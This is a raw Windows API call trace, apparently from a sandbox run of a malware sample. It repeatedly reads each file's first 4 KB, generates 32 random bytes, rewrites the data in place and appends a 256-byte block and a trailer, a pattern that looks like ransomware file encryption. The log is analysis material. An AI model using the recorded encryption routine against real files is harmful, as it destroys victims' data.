[0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.085] GetProcessHeap () returned 0x540000 [0084.085] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.085] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.086] SetFilePointerEx (in: hFile=0x868, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.086] WriteFile (in: hFile=0x868, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.086] WriteFile (in: hFile=0x868, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.086] GetProcessHeap () returned 0x540000 [0084.086] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.086] CloseHandle (hObject=0x868) returned 1 [0084.088] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 60 [0084.088] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.088] ReadFile (in: hFile=0x86c, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.088] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.088] GetProcessHeap () returned 0x540000 [0084.088] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.088] GetProcessHeap () returned 0x540000 [0084.088] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.088] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.088] GetProcessHeap () returned 0x540000 [0084.088] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.088] ReadFile (in: hFile=0x86c, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.159] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.160] WriteFile (in: hFile=0x86c, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.160] GetProcessHeap () returned 0x540000 [0084.160] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.160] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.161] GetProcessHeap () returned 0x540000 [0084.161] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x5a1f70 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345b00 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.162] GetProcessHeap () returned 0x540000 [0084.162] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.163] GetProcessHeap () returned 0x540000 [0084.163] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.163] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3357d80 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x200) returned 0x3340258 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x220) returned 0x3357d80 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3340258 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333fef0 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331f258 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3357d80 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ea88 | out: hHeap=0x540000) returned 1 [0084.164] SetFilePointerEx (in: hFile=0x86c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.164] WriteFile (in: hFile=0x86c, lpBuffer=0x3345c08*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x3345c08*, lpNumberOfBytesWritten=0x285fd44*=0x100, lpOverlapped=0x0) returned 1 [0084.164] WriteFile (in: hFile=0x86c, lpBuffer=0x285fd48*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x285fd48*, lpNumberOfBytesWritten=0x285fd44*=0x4, lpOverlapped=0x0) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.164] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x41b1088 | out: hHeap=0x540000) returned 1 [0084.164] GetProcessHeap () returned 0x540000 [0084.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331ef10 | out: hHeap=0x540000) returned 1 [0084.165] GetProcessHeap () returned 0x540000 [0084.165] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x3345c08 | out: hHeap=0x540000) returned 1 [0084.165] CloseHandle (hObject=0x86c) returned 1 [0084.167] InterlockedExchangeAdd (in: Addend=0x40f168, Value=1 | out: Addend=0x40f168) returned 61 [0084.167] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0xfffffffc, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.167] ReadFile (in: hFile=0x870, lpBuffer=0x285fd4c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x285fd4c*, lpNumberOfBytesRead=0x285fd08*=0x0, lpOverlapped=0x0) returned 1 [0084.167] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0084.167] GetProcessHeap () returned 0x540000 [0084.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345c08 [0084.167] GetProcessHeap () returned 0x540000 [0084.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x20) returned 0x331ef10 [0084.167] SystemFunction036 (in: RandomBuffer=0x331ef10, RandomBufferLength=0x20 | out: RandomBuffer=0x331ef10) returned 1 [0084.167] GetProcessHeap () returned 0x540000 [0084.167] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x1000) returned 0x41b1088 [0084.167] ReadFile (in: hFile=0x870, lpBuffer=0x41b1088, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x285fd08, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesRead=0x285fd08*=0x1000, lpOverlapped=0x0) returned 1 [0084.214] SetFilePointerEx (in: hFile=0x870, liDistanceToMove=0xfffff000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1 [0084.215] WriteFile (in: hFile=0x870, lpBuffer=0x41b1088*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0x285fd44, lpOverlapped=0x0 | out: lpBuffer=0x41b1088*, lpNumberOfBytesWritten=0x285fd44*=0x1000, lpOverlapped=0x0) returned 1 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333fef0 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlReAllocateHeap (Heap=0x540000, Flags=0x8, Ptr=0x333ff00, Size=0x20) returned 0x331ea88 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlReAllocateHeap (Heap=0x540000, Flags=0x0, Ptr=0x333ff00, Size=0x20) returned 0x331f258 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x8, Size=0x4) returned 0x333ff00 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.215] GetProcessHeap () returned 0x540000 [0084.215] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.216] GetProcessHeap () returned 0x540000 [0084.216] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff40 [0084.216] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x8) returned 0x333ff00 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff40 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x24) returned 0x330ace8 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x333ff00 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x40) returned 0x331fdf0 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x330ace8 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x80) returned 0x5a1f70 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] HeapFree (in: hHeap=0x540000, dwFlags=0x0, lpMem=0x331fdf0 | out: hHeap=0x540000) returned 1 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] RtlAllocateHeap (HeapHandle=0x540000, Flags=0x0, Size=0x100) returned 0x3345b00 [0084.217] GetProcessHeap () returned 0x540000 [0084.217] 